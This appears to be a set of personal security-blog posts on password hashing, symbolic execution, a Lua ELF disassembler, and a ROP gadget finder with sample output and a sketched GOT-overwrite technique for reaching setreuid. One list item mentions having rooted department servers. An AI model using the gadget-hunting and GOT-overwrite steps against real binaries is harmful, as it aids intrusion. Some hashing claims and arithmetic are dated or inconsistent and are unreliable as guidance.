• I should full-disk-encrypt my laptop/netbook hard drives because I will lose them and then worry about what was on them.
• I should read the notices that pop up after performing ‘pacman -Syu’ in arch linux.
• I shouldn’t plan on reverse autossh-tunneling into a box to finish configuring it because the connection will die as soon as I leave the room.
• coroutines != threads
• I should make sure my demos work before running them.
• If I encourage people to use any legal means necessary to obtain flags for the haxathon, they will learn my schedule and come in to my room when I’m not there to attack my computers physically.
• I should lock my computers when not in the room.
• I should make sure I’m in the terminal for my local machine, and not root on the server with a dozen other people logged in, before typing, “poweroff.”
• 50 lines of HTML is worth more than 500 lines of PHP.
• Just because I’ve rooted the department’s linux servers does not mean I can kill a hundred errant processes that are sucking up all the CPUs.
• Trying to fund awesome is impossible, because awesome people fund themselves.
• I should just write my own build scripts and stop wasting time trying to adapt other people’s build systems to my own projects. Have lua? Good to go.
• DNS is everything to Active Directory
• Planning on doing LDAP Auth? Actual_Time = Initial_Time * 10.
• Ada has multiple packages representing strings. Good luck!
• Those who can’t do are still making policy. Policy making is still a good indicator of technical ability. +
• There is a small percentage of people who still add large quantities of value with relatively small amounts of technical knowledge.
• If I seek to inspire underclassmen to be more like myself, I should remember that I’m a self-centered asshole. +
• 24gb is not enough disk space for my win7 VM. This is three times more than all my linux VMs. 8gb is enough space for my linux VMs.
• DOS executables should only, ever, always, under all circumstances, without exception, be debugged in DOS. Use DOSBOX and find something similar to debug.com. This was a very dumb mistake.
• I may be able to single-handedly beat a bunch of underclassmen in a CTF, but we’ll still score better if we work together.
• Installing Mac OS X on a macbook without the original install discs is like trying to install Windows 7 on a VAX. Good luck with that.
• There is a tendency to think that people who, “work hard,” and do well in CS classes will be able to comprehend, manage and accomplish technical tasks despite their relative knowledge in all things technical. Fight this urge. They usually think python is really cool and are interested in learning linux. +
• It’s worth taking the time to explain to someone the reason task X is, “Easy,” to you is because you spent three weeks struggling to figure out how to accomplish it two years ago.
• Stop trying to do everything in C. No one cares. +
• Those who post to reddit.com/r/programming, r/netsec and r/reverseengineering are mere mortals. I’ve posted there, so obviously we’re talking falliable people.

That seems like enough for now.

With our current resources we can test passwords to their hash in fractions of a second allowing for well resourced groups to test thousands of passwords every second. This means, given enough time and resources, you can crack any password within a reasonable length and as you increase length you increase the likelihood of people resorting to identifiable patterns in order to remember it.

Solution idea (not unique but not used from what I can tell): Use the hashing function 1000 times on the password. The hash is not any more secure but the time to brute force would change from hours to years. From what I can gather online I heard that multiple hashing creates larger hashes which lead to collisions. This doesn’t make sense to me because I created the example below and I don’t see how it would lead to a change in collision frequency. I do understand that it would guarantee someone the opportunity to “know” the size of the input and do 999 hashes to find the final but considering the size of the hash and the fact that it still doesn’t give you the original input I fail to see how it would matter. Additionally, if there is something I am missing about the collision frequency increasing could we not add a different salt between each function … what are your thoughts?

Please read my original post, Let’s talk about hashing passwords, before reading this post.

What do we accomplish by hashing a password

When we hash a password, we put time between the attacker and the plaintext. For starters, we need an intractible function. For passwords, cryptographic hash functions serve this purpose. An attacker must now guess plaintexts, hash them, and compare ciphertexts.

However, there’s a problem: Many cryptographic hashes are fast. In fact, cryptographic hashes are designed to be fast. If our goal is to add time between the attacker and the resulting plaintext, we need a way to slow the attacker down.

Rolling the hash

“Rolling” the hash is the process described above in the email. This is a commonly accepted method for hashing passwords. It’s used everywhere from WPA2 PSK keys to Unix crypt(). Why does it work?

With every iteration of the hash, we add additional work the attacker must perform in order to check and verify a plaintext does hash to the desired result, AKA the stored password hash. If we have

crypt = hash(plaintext)
for i 1 -> 1000
    crypt = hash(crypt)

then we have just forced our attacker to hash through 1000 more iterations of our hash function. An attack that originally took days now takes years. Note: you should probably hash(crypt+plaintext), as this is going to make an attack on the resulting hash much more difficult if preimage resistance comes in to play.

Salting the hash

We can attack multiple hashes with the same data. For example, if we only rolled the hash, but we had 1000 password hashes we were trying to attack, we could do the work for one plaintext and verify the result against all of our hashes. We still have to perform the same amount of work per plaintext, but because we can share this work among the hashed passwords our total amount of work per hashed password decreases.

To offset this, we include a salt. The salt is a known and unique (not necessarily random) value which we hash in addition to the plaintext. For example, assume we have three users, and they all use the same password, FuZZy(BunnY)Sl1pp3RS. We would pick three unique salts for each user, perhaps 0×0001 0×0002 0×0003, or 0x2dc4 0x1f8a 0x9c4c. Now their hashes look like this:

plaintexts = {"FuZZY(BunnY)Sl1pp3RS," "FuZZY(BunnY)Sl1pp3RS", "FuZZY(BunnY)Sl1pp3RS"}
salts = {0x0001, 0x0002, 0x0003}
passwords[0] = salts[0] + hash(salts[0] + plaintexts[0])
passwords[1] = salts[1] + hash(salts[1] + plaintexts[1])
passwords[2] = salts[2] + hash(salts[2] + plaintexts[2])

Our attacker must now attack each hash by itself, one at a time. We have now added more time between our plaintexts and the attacker.

An example of a salted password in the real world may look like:

$6$9A8d$y/fbCk464oLuGcmCQO1rIoeVf8nnkloi1GysMMi1kYW8yvVMRJJXjC/LZJ2kBMhRDKF76kh5Vl6anRUYuMkbf.

This is a unix crypt password. It follows the following format:

$id$salt$encrypted_password

Where an id of 6 stands for SHA-512, 9A8d is our salt, and the rest is the base64 encoded representation of our sha512 hash.

So how should you implement your password hashing schemes?

If you’re reading this article, the best answer is find a library implemented by smart crypto people for hashing your passwords. People have messed this process up before, and when password hashing is messed up, the results are pretty disastrous.

I am interested in the discovery of memory-corruption vulnerabilities. The two often-used methods for finding these vulnerabilities, fuzzing and reverse-engineering, are producing fewer results, and some people have stopped looking for memory-corruption vulnerabilities altogether. As our mainstream software is coded to higher, and more secure, standards, the identification of these vulnerabilities is becoming harder, and we need new methods to find them.

Enter Symbolic Execution. I’m still learning about this method of vulnerability identification and implementing it into rop_tools (source no longer available), but I thought I would share the basic concepts with you. Know that a joint effort between UC Berkely, Carnegie Mellon and the College of William and Mary has brought us BitBlaze, an academic pursuit using much of the technology I’ll be covering.

Let’s start with a simple vulnerability:

int main (int argc, char * argv[])
{
    char buf[16];
    int i;

    for (i = 0; (i < 16) && (argv[1][i] != '\0'); i++)
        buf[i] = argv[1][i];

    return 0;
}

And here’s gcc’s output with no optimizations

0000000000400494 main:
400494 55..............      push rbp
400495 4889e5..........      mov rbp, rsp
400498 897ddc..........      mov [rbp-0x24], edi
40049b 488975d0........      mov [rbp-0x30], rsi
40049f c745fc00000000..      mov dword [rbp-0x4], 0x0
4004a6 eb23............ /--< jmp main+55 (4004cb)
4004a8 488b45d0........ | /> mov rax, [rbp-0x30]
4004ac 4883c008........ | |  add rax, 0x8
4004b0 488b10.......... | |  mov rdx, [rax]
4004b3 8b45fc.......... | |  mov eax, [rbp-0x4]
4004b6 4898............ | |  cdqe
4004b8 4801d0.......... | |  add rax, rdx
4004bb 0fb610.......... | |  movzx edx, byte [rax]
4004be 8b45fc.......... | |  mov eax, [rbp-0x4]
4004c1 4898............ | |  cdqe
4004c3 885405e0........ | |  mov [rbp+rax-0x20], dl
4004c7 8345fc01........ | |  add dword [rbp-0x4], 0x1
4004cb 837dfc0f........ \-+> cmp dword [rbp-0x4], 0xf
4004cf 7f1a............  /+< jg main+87 (4004eb)
4004d1 488b45d0........  ||  mov rax, [rbp-0x30]
4004d5 4883c008........  ||  add rax, 0x8
4004d9 488b10..........  ||  mov rdx, [rax]
4004dc 8b45fc..........  ||  mov eax, [rbp-0x4]
4004df 4898............  ||  cdqe
4004e1 4801d0..........  ||  add rax, rdx
4004e4 0fb600..........  ||  movzx eax, byte [rax]
4004e7 84c0............  ||  test al, al
4004e9 75bd............  |\< jnz main+20 (4004a8)
4004eb b800000000......  \-> mov eax, 0x0
4004f0 5d..............      pop rbp
4004f1 c3..............      ret

If we were to fuzz this executable, we would create several inputs in the hopes that one of these inputs would overwrite some critical location in memory, and that overwrite would cause the application to crash.

In Symbolic Execution we will run our code in a virtualized environment. Instead of using static values for inputs, such as with fuzzing, we will determine which values can change and we will use ranges for those values. For example, the valid values for argc are variable. When running your code during fuzzing, you pick a value for argc, say 2. With Symbolic Execution, your Symbolic Execution Engine would reason about what values are possible, say 1-255, and would attempt to identify the execution paths possible with this range of values.

For example, we know the string pointed to by [ebp+0xc]+0×4, or argv[1], can be ANYTHING up to the length our shell will allow. For me, this is roughly 2^15 bytes, minus some, but for our purposes we’ll say 10,000.

As we go through our example, we will focus on the instructions that control execution flow:

4004a6 eb23............ /--< jmp main+55 (4004cb)
4004cf 7f1a............  /+< jg main+87 (4004eb)
4004e9 75bd............  |\< jnz main+20 (4004a8)
4004f1 c3..............      ret

We’re also interested in locations that are VALID destinations to land back into. For the above instructions, they are:

4004a8 488b45d0........ | /> mov rax, [rbp-0x30]
4004cb 837dfc0f........ \-+> cmp dword [rbp-0x4], 0xf
4004eb b800000000......  \-> mov eax, 0x0

And the location in .text immediately following the call into main, IE the address held in [ebp+0x4], or the return pointer.

Now we get to the first jump.

4004a6 eb23............ /--< jmp main+55 (4004cb)

This jump is non-conditional, so we aren’t very concerned with it. We’re not going to be able to alter the flow of execution based on this JMP.

We skip to the next jump.

4004cb 837dfc0f........ \-+> cmp dword [rbp-0x4], 0xf
4004cf 7f1a............  /+< jg main+87 (4004eb)

This is a conditional jump. We can better express this jump as the following:

JUMP(+87, dword [rbp-0x4] <= 0xf)

The BitBlaze team choose to take x86 assembly and reassemble it to a simpler intermediate language. This was a very good idea, as it greatly reduces the complexity of analysis. While we’re going to glaze over some of the specifics implemented by BitBlaze, we will capture the intent or their intermediate language.

This jump is, also, for our-purposes right now, non-conditional, in that the value at [rbp-0x4] is clearly defined. We know exactly what it is at this point in the execution of our program, and can accurately predict where the control of our program will flow to. Let’s move to the next JMP.

4004d1 488b45d0........  ||  mov rax, [rbp-0x30]
4004d5 4883c008........  ||  add rax, 0x8
4004d9 488b10..........  ||  mov rdx, [rax]
4004dc 8b45fc..........  ||  mov eax, [rbp-0x4]
4004df 4898............  ||  cdqe
4004e1 4801d0..........  ||  add rax, rdx
4004e4 0fb600..........  ||  movzx eax, byte [rax]
4004e7 84c0............  ||  test al, al
4004e9 75bd............  |\< jnz main+20 (4004a8)

This JUMP can be rewritten as:

JUMP(+20, 0x00 != byte [[[rbp-0x30]+0x8] + [rbp-0x4]])

Well, this is the ith byte of our second argument from the command line. This is, for our purposes, conditional, as we do not know the value of that argument (let’s not go into how we would implement this for now). So what do we do?

We find the range of values that would cause the jump to execute, and the values that would not cause the jump to execute. We then set the memory/variables (where registers are variables) to the range of these values, and we try both flows of execution.

In other words, we create two models of our memory and variables. In one model, we set byte [[[rbp-0x30]+0×8] + [rbp-0x4]] to 0, and in the other model, we set byte [[[rbp-0x30]+0×8] + [rbp-0x4]] to all possible values other than 0.

Path selection becomes important and will determine how long it takes for your symbolic execution engine to find the memory corruption bug. You can also implement additional checks, such as ASSERT that certain values in memory do not change (return address would be a natural first pick).

Assuming we do not implement an ASSERT, which would not catch all memory corruption errors anyway, how would we determine when we have corrupted memory in a manner that corrupts the Instruction Pointer?

When we get to our ret instruction, we will rewrite it as:

JUMP([rsp], TRUE)

All values in [rsp] must equal the values we determined as valid destinations to land back into. Remember we determined this earlier. Depending on what you’re looking for, this may be the destination of all calls, jumps, and register jumps (you may do some special tweaking for register jumps in something so as the Procedure Linkage Table), or just addresses in .text in general (which may cause you to miss something important!).

As our symbolic execution engine continues to execute, we eventually hit our ret instruction where the value of [rsp] is a series of ranges, something like ((0×01-0xff){8}). This would obviously include addresses outside of our approved addresses. We would then raise an exception.

rop_tools -l <script_name> [<lua_argument> ..]

And now let’s take a look at our disassembler’s, test1.lua, sweet sweet output:

This disassembles the function dowork in the following executable:

#include <stdio.h>

int dowork ()
{
    char buffer[16];
    int i;

    for (i = 0; i < 10; i++) {
        sprintf(buffer, "%d", i);
        printf("%s\n", buffer);
    }

    return 1;
}

int main (int argc, char * argv[])
{
    return dowork();
}

Let’s disassemble this ELF.

First, we’ll need to open that elf file. Easy enough.

elf = elf_t.new(argv[1])

argv[1] being the first argument passed to our lua program (lua arrays can start at 0, but the convention is 1). argv[1] is set for us by rop_tools.

On to elf_t. The underlying C library (which we won’t talk about much directly) will detect whether this is a 64 or 32 bit ELF for us automatically and abstract many of the differences away so we can write one disassembler for just ELFs. When we open an elf with elf_t.new(), we can automatically dismiss lots of details. When we disassemble instructions, we don’t have to worry if we’re disassembling a 32 or 64 set of instructions, elf_t is going to do that for us. We’ll see more later, but let’s move on.

argv[2] holds the name of the function we want to disassemble. Let’s write some code to grab those instructions for us.

instructions = disassemble_function(elf, argv[2])

function disassemble_function (elf, function_name)
    local symtab = elf:section(".symtab")
    local symbol = symtab:symbol(function_name)
    local text = elf:section(".text")
    local disassembly = text:disassemble()
    local instructions = {}

    for i,instruction in pairs(disassembly) do
        if instruction["address"] >= symbol:value() and
           instruction["address"] <  symbol:value() + symbol:size():uint_t() then
            table.insert(instructions, instruction)
        end
    end
    return instructions
end

Of course, for this to work the function symbol must not be stripped from our binary.

We’re beginning to see some of the awesomeness shine through. elf:section() allows us to grab a function by name (or index!). Symbol sections allow us to grab symbols by name as well (and index).

So what do we do here? We grab the symbol corresponding to our function from the symbol table “.symtab”, disassemble “.text”, and add all of the instruction which fall within the bounds of our symbol to another table of instructions, which we return. We don’t do much error checking here, but assuming we passed a symbol name to a valid function, this will return the instructions for our symbol.

Expect this to be a one liner in future revisions of rop_tools:

instructions = elf:section(".symtab"):symbol(function_name):disassemble()

There’s a funny line in there, let’s take a look:

           instruction["address"] <  symbol:value() + symbol:size():uint_t() then

uint_t(). Remember when we said elf_t was going to abstract much of the 32/64-bit pain away from us? Part of the magic happens in two new lua “types”, really “objects”, or in lua-speak “metatables”. These types are int_t and uint_t. They will allow us to deal with 8, 16, 32 and 64 bit signed and unsigned integers in a very transparently way. Some things we can do with these types:

• Create new types: int_t.new(size, value) int_t.new(32, 1) uint_t.new(64, 1)
• Add/subtract/multiple/divide/modolus
• Compare against each other
• Cast to uint_t() or lua number (integer) int_t.new(32, 1):uint_t():int()
• Print in “%d” format print(int_t.new(32, 1)) some_string = "number one: " .. uint_t.new(8, 1):str()
• Print in %0?x” format, where ? is the number of bits in the integer. print(uint_t.new(32, 9000):strx())

Note that for correctness, some actions are forbidden, such as adding uint_t and int_t together, or subtracting a larger (u|)int_t from a smaller (u|)int_t. These should fail and send errors. Most dangerous, comparing uint_t and int_t will always return false but currently doesn’t fail. This will probably be the first thing fixed after this writing (to always fail).

What elf_t (and child objects such as section_t, symbol_t, or relocation_t) returns will depend on what is defined in the elf format. A few minor “helper” functions have been added, such as section:num(). There is no num field in the elf SPEC. Normally, these helper functions will return a Number (lua_pushinteger), or a native lua type.

Once things are more stabilized, the API will be documented. For now, I write out my code. If I do something unsafe, it will fail, and I’ll know something is wrong. If things don’t fail, nothing unsafe happened.

It may also be important to add the sign of returned values for 32 and 64 bit ELFs will always be the same, and will default to the sign in the 32 bit ELF spec. For example, the ELF Spec has an Elf32_Word (signed) for Elf32_Shdr.sh_entsize, but a Elf64_Xword (unsigned) for Elf64_Shdr.sh_entsize. Why someone thought this was a good idea evades me (there are no ELF objects even close to 2^31-1 bytes in size), but elf_t will simply return a 64-bit signed integer in int_t for you.

Now moving on. You’ll notice we’ve highlighted the addresses of local jumps in our output. We’ll need to locate those jumps first. Let’s write some code to do that.

function is_jump (mnemonic)
    if mnemonic == "jmp" or
       mnemonic == "jo" or
       mnemonic == "jno" or
       mnemonic == "jb" or
       mnemonic == "jae" or
       mnemonic == "jz" or
       mnemonic == "jnz" or
       mnemonic == "jbe" or
       mnemonic == "ja" or
       mnemonic == "js" or
       mnemonic == "jp" or
       mnemonic == "jnp" or
       mnemonic == "jl" or
       mnemonic == "jge" or
       mnemonic == "jle" or
       mnemonic == "jg" then
        return true
    end
    return false
end

jump_locations = {}
for i, instruction in pairs(instructions) do
    if is_jump(instruction["mnemonic"]) then
        table.insert(jump_locations, (instruction["address"]:int_t() +
                                      instruction["operands"][1]["lval"] +
                                      int_t.new(8, instruction["size"])):uint_t())
    end
end

You’ll notice we do quite a bit of sign swapping here. We also create a new 8-bit integer to hold the size of our instruction (let’s hope there aren’t any 128-byte instructions!). What size will the resulting uint_t be? The size of the largest int_t type. IE: for 32-bit ELFs, we’ll be saving a 32-bit address, and for 64-bit ELFs we’ll be saving a 64-bit address.

Now it’s time to print out some instructions.

for i,instruction in pairs(instructions) do
    -- is this address one of our jump locations
    address = TERM_COLOR_GREEN .. instruction["address"]:strx() ..
              TERM_COLOR_DEFAULT
    for i,jump_location in pairs(jump_locations) do
        if jump_location == instruction["address"] then
            address = TERM_COLOR_CYAN .. TERM_BOLD ..
                      instruction["address"]:strx() ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
            break
        end
    end

Here we’re setting up the address part of our output, highlighting and coloring it as we see appropriate.

Next we determine the text to output for call instructions.

    if instruction["mnemonic"] == "call" then
        instruction = TERM_COLOR_RED .. TERM_BOLD .. instruction["mnemonic"] ..
                      " " .. relative_offset_description(elf, instruction) ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT

Ahh… relative_offset_description, a real workhorse. Let’s take a look.

function operand_abs (operand, address, size)
    local absolute = address + uint_t.new(32, size)

    if operand["lval"]:int() < 0 then
        absolute = absolute - (operand["lval"] * int_t.new(8, -1)):uint_t()
    else
        absolute = absolute + operand["lval"]:uint_t()
    end

    return absolute
end

function relative_offset_description (elf, instruction)
    local target_address
    local description = nil

    target_address = operand_abs(instruction["operands"][1],
                                 instruction["address"],
                                 instruction["size"])

local description will hold the description of this instruction’s relative offset we will eventually return. local target_address is the target address of this instruction. We’ve created a function, operand_abs, to get the absolute address of our instruction. You’ll notice we subtract or add operand["lval"] from absolute in a weird way. An operand’s lval is an int_t, it is signed. We do not subtract signed integers from unsigned integers. This is here to protect you. Is it funkified? A bit. Is it going to save your butt in the long run? You bet your butt it is.

At this point, target_address should hold the target address of our instruction, or where we are calling to.

Next, we’ll check all of the symbols in “.symtab” to see if there’s a valid function symbol for this call in there.

    local symtab = elf:section(".symtab")
    for i = 0,symtab:num()-1 do
        local symbol = symtab:symbol(i)
        if symbol:value() <= target_address and
           symbol:value() + symbol:size():uint_t() > target_address then
            description = symbol:name() ..
                          " ( " .. target_address:strx() .. " | " ..
                          tostring(target_address - symbol:value()) .. " )"
            break
        end
    end

Some quick notes about this code:

• symtab:num() (section_t:num()) is one of those “convenience” functions that don’t exist in the ELF Spec, but are just nice to have. It returns a native lua type.
• symtab:symbol(N) (section_t:symbol(N)) returns symbols at the address they are found in the ELF, IE they start at 0, not 1 as is the LUA convention for. We only venture so far from the Spec my friends.

Nothing else too interesting to see. If it’s not in “.symtab”, the next best bet is it’s in the PLT. Oh boy, this is going to be fun.

A little background first. When your ELF is linked against a library, two sections of the executable become important. They are the PLT, or the Procedure Linkage Table, and the GOT, or Global Offset Table (there are equivalents in PE, I believe EAT and IAT). The PLT contains JMP instructions which jump to addresses held within the GOT. The GOT is initially filled with addresses back into the PLT which will load a correct address for the necessary linked function. If we jump back into the PLT, we will load the correct address into the GOT and call the necessary function. Each subsequent call will go straight to the necessary function, as the correct address is now loaded into the GOT. This is called lazy-linking, and it’s a bit important to understand before we move further.

    if description == nil then
        local plt = elf:section(".plt")
        -- check if target_address is in the ".plt"
        if target_address >= plt:address() and
           target_address < plt:address() + plt:size():uint_t() then
            local plt_jmp = plt:disassemble(target_address)
            local op_address = operand_abs(plt_jmp["operands"][1],
                                           target_address,
                                           plt_jmp["size"])
            -- find relocation for op_address
            local relplt
            if elf:section_exists(".rel.plt") then
                relplt = elf:section(".rel.plt")
            else
                relplt = elf:section(".rela.plt")
            end
            for i = 0,relplt:num()-1 do
                local relocation = relplt:relocation(i)
                if relocation:offset() == op_address then
                    description = relocation:name() .. "@PLT"
                    break
                end
            end
        end
    end

In sequence, we

1. Make sure the target address is in the “.plt”
2. If it is, we disassemble the first instruction in the PLT (yes we can disassemble at specific addresses (loaded, runtime addresses) and elf_t does the automagic for us), then we get the absolute address for that instruction. local op_address will be the address of the entry in the GOT (not the value held at that address).
3. We then grab the relocation table, making sure we get the right one. Looks like gcc uses .rel.plt for 32-bit ELFs, and .rela.plt for 64-bit ELFs. We can’t abstract away everything :(.
4. We loop through the relocations, looking for one that will be loaded at our address in the GOT. If we find one, we grab the name of our linked function.

Now we just need to wrap up the results for relative_offset_description.

    if description ~= nil then
        return description
    else
        return "(" .. target_address:strx() .. ")"
    end
end

We return the description. If we couldn’t find a good description, we just return the target_address.

So that’s how we handle calls, the rest is fairly straight-forward.

    elseif is_jump(instruction["mnemonic"]) then
        instruction = TERM_COLOR_CYAN .. TERM_BOLD .. instruction["mnemonic"] ..
                      " " .. relative_offset_description(elf, instruction) ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
    elseif instruction["mnemonic"] == "ret" then
        instruction = TERM_COLOR_YELLOW .. TERM_BOLD ..
                      instruction["description"] ..
                      TERM_NORMAL .. TERM_COLOR_DEFAULT
    else
        instruction = instruction["description"]
    end

Here’s the code for the rest of our instructions. Remember that is_jump() function from earlier? Hopefully you do. Jump instructions use the save relative_offset_description function as calls.

Only one thing left to do, print out that awesome line of assembly for us.

    print(address .. "   " .. instruction)
end

And we’re done. If you want to know the values of the TERM variables, they are:

TERM_COLOR_RED     = "\027[31m"
TERM_COLOR_GREEN   = "\027[32m"
TERM_COLOR_YELLOW  = "\027[33m"
TERM_COLOR_BLUE    = "\027[34m"
TERM_COLOR_CYAN    = "\027[36m"
TERM_COLOR_DEFAULT = "\027[39m"
TERM_BOLD          = "\027[1m"
TERM_NORMAL        = "\027[22m"

A link to the full source can be found here: https://github.com/endeav0r/rop_tools/blob/ec09b871175eda4533fb61e426b6d242730d7e89/tools/test1.lua

I wouldn’t suggest using rop_tools in its current state, as it’s changing rapidly. However, consider this a taste of what’s to come. As a good portion of the tear-apart-and-disassemble code is complete, it’s time to add some, “brain.”

I was recently working on exploiting a binary in linux. This binary was small, and I needed all the gadgetry I could find. I turned first to msfrop, but it wasn’t hacking it. I needed to look 2, 3, 4, any arbitrary number of instructions back. I was interested in not just ret gadgets, but gadgets that jump to registers and call registers.

So I wrote my own tool, rop_tools. I’m not going to run against my target binary for this post, but we’ll run against the ravm assembler which comes in at 28k. Here are some examples:

rop_tools arguments

./rop_tools
rop_tools
brought to you by rainbowsandpwnies

./rop_tools [-cjr] [-d depth] (-e  | -l  depth, in instructions, to search backwards
  -e    filename of elf to analyze
  -j         search for jmp reg gadgets
  -k         search for conditional jmp reg gadgets (for when your day is
             really going that bad, and probably won't return anything)
  -l    runs lua script
  -r         search for ret gadgets

Simple ret gadgets

./rop_tools -e ~/sigsac/ravm/assembler -r | tail
section: .fini
_fini + b
  0804a177:  00 5b 81 -- -- -- -- --   add [ebx-0x7f], bl
  0804a17a:  c3 -- -- -- -- -- -- --   ret 

_fini + 1a
  0804a186:  c9 -- -- -- -- -- -- --   leave
  0804a187:  c3 -- -- -- -- -- -- --   ret 

65 gadgets

ret gadgets with a depth of 3

./rop_tools -e ~/sigsac/ravm/assembler -r -d 3 | tail -n 16
  0804a169:  c3 -- -- -- -- -- -- --   ret 

section: .fini
_fini + 18
  0804a184:  59 -- -- -- -- -- -- --   pop ecx
  0804a185:  5b -- -- -- -- -- -- --   pop ebx
  0804a186:  c9 -- -- -- -- -- -- --   leave
  0804a187:  c3 -- -- -- -- -- -- --   ret 

_fini + 15
  0804a181:  e5 ff -- -- -- -- -- --   in eax, 0xff
  0804a183:  ff 59 5b -- -- -- -- --   call dword far [ecx+0x5b]
  0804a186:  c9 -- -- -- -- -- -- --   leave
  0804a187:  c3 -- -- -- -- -- -- --   ret 

67 gadgets

Why 67 gadgets for depth 3 when depth 1 only returned 65? If you look at these last two rop gadgets, you’ll notice ret is in the same place, but we can get gadgets of depth 3 (we don’t count the ret in depth) by going 3 bytes back from the ret or 6 bytes back from the ret. We can’t afford to miss gadgets when all our libraries start out ASLRed!

Showing the jmp reg and call reg gadgets

 ./rop_tools -e ~/sigsac/ravm/assembler -j -c | tail -n 20
  08049460:  ff e9 -- -- -- -- -- --   jmp ecx

lexer + 3b5
  08049495:  ff 89 95 3c ff ff -- --   dec dword [ecx+0xffff3c95]
  0804949b:  ff e9 -- -- -- -- -- --   jmp ecx

frame_dummy + 1d
  0804874d:  04 08 -- -- -- -- -- --   add al, 0x8
  0804874f:  ff d0 -- -- -- -- -- --   call eax

__do_global_ctors_aux + 19
  0804a159:  eb 04 -- -- -- -- -- --   jmp 0x6
  0804a15b:  ff d0 -- -- -- -- -- --   call eax

__do_global_ctors_aux + 18
  0804a158:  83 eb 04 -- -- -- -- --   sub ebx, 0x4
  0804a15b:  ff d0 -- -- -- -- -- --   call eax

section: .fini
6 gadgets

A note on performance (performance is important). All ret, jmp reg and call reg gadgets from libc

time ./rop_tools -e /lib/i386-linux-gnu/libc-2.13.so -r -j -c | tail

__libc_thread_freeres_fn + 1222b7
  001222b7:  fd -- -- -- -- -- -- --   std
  001222b8:  ff e8 -- -- -- -- -- --   jmp eax

__libc_thread_freeres_fn + 1222bc
  001222bc:  fd -- -- -- -- -- -- --   std
  001222bd:  ff e8 -- -- -- -- -- --   jmp eax

9598 gadgets

real	0m4.472s
user	0m3.920s
sys	0m0.232s

That’s enough of that, let’s talk about the GOT. In this binary I was exploiting, I needed to make a call to setreuid(). If I could add/subtract to the GOT, I would be golden. However, I could only add/subtract 8-bit values. This… this was an issue. I didn’t have infinite size for my rop chain, and I needed to add some pretty big offsets.

The next step was find a rop gadget with the following criteria:

• add [some_register], some_other_register
• Was not far from the address of a function that would be loaded into the GOT of my target binary

I could then modify the GOT to give me access to the ROP gadget I needed, ret to an address in the PLT to execute my target gadget, and then use that target gadget to add a 32-bit value to the GOT. rop_tools didn’t support the finding of these gadgets in libc… yet.

So I added lua scripting to rop_tools, wrote a script, and found exactly what I needed:

sprintf -00000095
  0004785b add [ecx-0x1], ebx
  0004785e dec ecx
  00047860 ret 

Now all I need to do is subtract 0×95 bytes from the sprintf GOT entry and I’m golden. How automated is this process? Here are the variable you set to fire off the script:

ROP_OFFSET_SIZE = 256
DEPTH = 2
-- set TARGET_MNEMONICS to nil if you want to show all possibilities
TARGET_MNEMONICS = {"add", "sub"}

LIBC_FILENAME = "/lib/i386-linux-gnu/libc-2.13.so"
TARGET_FILENAME = "/path/to/target"

I would call that pretty automated. If you find this helpful, let me know. I’ll continue to add scripts to rop_tools as I find a need and write them.

“That said, it is no longer secure to hash your passwords with MD5, much less when it is unsalted.”

I cringed. I understand this sentence comes from a common misunderstanding of what security a cryptographic hash brings to your password protection scheme. Today, we’re going to try and understand it. A most basic understanding of password cracking is assumed.

We know that we do not want attackers to discover our passwords (here forth known as PLAINTEXTs). Discovery of the PLAINTEXT is bad. We need a method to store this password in a manner that, when discovered by an attacker, does not reveal the PLAINTEXT. We need an intractable equation. Our intractable equation will take an input PLAINTEXT and produce a result CIPHERTEXT, such that we cannot feasibly discover PLAINTEXT from CIPHERTEXT. The most commonly used type of intractable equation for password storage is a cryptographic hash.

Cryptographic hashes have, by definition, numerous properties. The property we are interested in for storing our passwords is known as pre-image resistance. More specifically, we want our cryptographic hash to withstand a first pre-image attack. Let’s take a look at the three basic attacks all cryptographic hashes should resist:

• Collision It is infeasible to find any two different and arbitrary PLAINTEXTs which will hash to the same arbitrary CIPHERTEXT
• First Pre-Image It is infeasible, given a CIPHERTEXT, to find a PLAINTEXT which will hash to the same CIPHERTEXT
• Second Pre-Image It is infeasible, given a PLAINTEXT_1 which hashes to CIPHERTEXT, to find another PLAINTEXT_2 which will hash to CIPHERTEXT

It is naturally easier to find a collision for a cryptographic hashing algorithm because of the Birthday Attack. A cryptographic hash with 128 bits, given a pure birthday attack, would require a complexity of roughly 2^64 (to reach a 50% success rate) to find a collision. To brute force for a pre-image, however, would take a complexity of 2^127. That’s 2^127 times we would need to run our hashing algorithm to have a 50% chance of finding a pre-image. Much more difficult. The academic research and vetting process behind these cryptographic hashing algorithms uses properties of these equations in an attempt to reduce that complexity. As breakthroughs in cryptography take place, we learn more about the hashes and can begin to reduce the complexity needed for these attacks.

MD5 is a 128-bit cryptographic hashing algorithm. It “compresses” 512-bit blocks to 128-bits of output. Its collision resistance is currently 2^20, AKA its collision resistance is broken. A modern laptop can run 2^20 iterations of the MD5 hash “quickly” (Wikipedia has a good, quick comparison of attack resistances for popular cryptographic hashes). However, the best known pre-image attack against MD5 reduces those 127 bits to 123.5. After 20 years, MD5′s pre-image resistance is still very strong.

So how do we “crack” these passwords when we can’t conduct a mathematical pre-image attack against them? We use pre-existing knowledge about the PLAINTEXT to reduce the complexity. For example, if we are executing a simple brute-force password attack, eight lowercase letters, the complexity is 26^8. At (27^8)/2 we have a 50% chance to find our plaintext. So how many times smaller is (26^8)/2 than 2^127? 1,629,493,608,081,135,236,420,508,748 times. (No logs, I wanted the full effect). That’s how many times stronger the pre-image resistance of MD5 is when compared to a typical brute-force attack of all eight lowercase letters.

So now we are beginning to see that when attackers crack a MD5 password, they don’t even bother with the mathematical or cryptological properties of the hash. Those properties still keep finding a suitable PLAINTEXT an infeasible task. Instead, we use known information about the plaintext (these are your dictionaries, mangling rules, markov models, etc) to reduce the possibilities we need to attempt. As long as the pre-image resistance of MD5 is greater than the complexity of the typical password attacks, MD5 will retain its viability as a hash to secure passwords.

The fact that someone cracked a bunch of MD5 hashes means nothing about MD5′s suitability as a cryptographic hash function to intractably hash your plaintexts. People aren’t attacking the properties of cryptographic hashes, they are attacking statistical weaknesses in the methods people choose their passwords.

What is the RAVM, and why create it?

Learning how programs work at the assembly level is crucial towards gaining a holistic understanding of modern day computing. While studying Computer Science at the United States Military Academy, I was introduced to a fantastic piece of in-house developed software: the MARC and MARASM (available publicly here). The MARC is a virtual 16-bit CPU programmed in ADA. When paired with the MARASM, an assembler for the MARC, cadets can write, assemble, and run assembly programs with a simplistic toolchain.

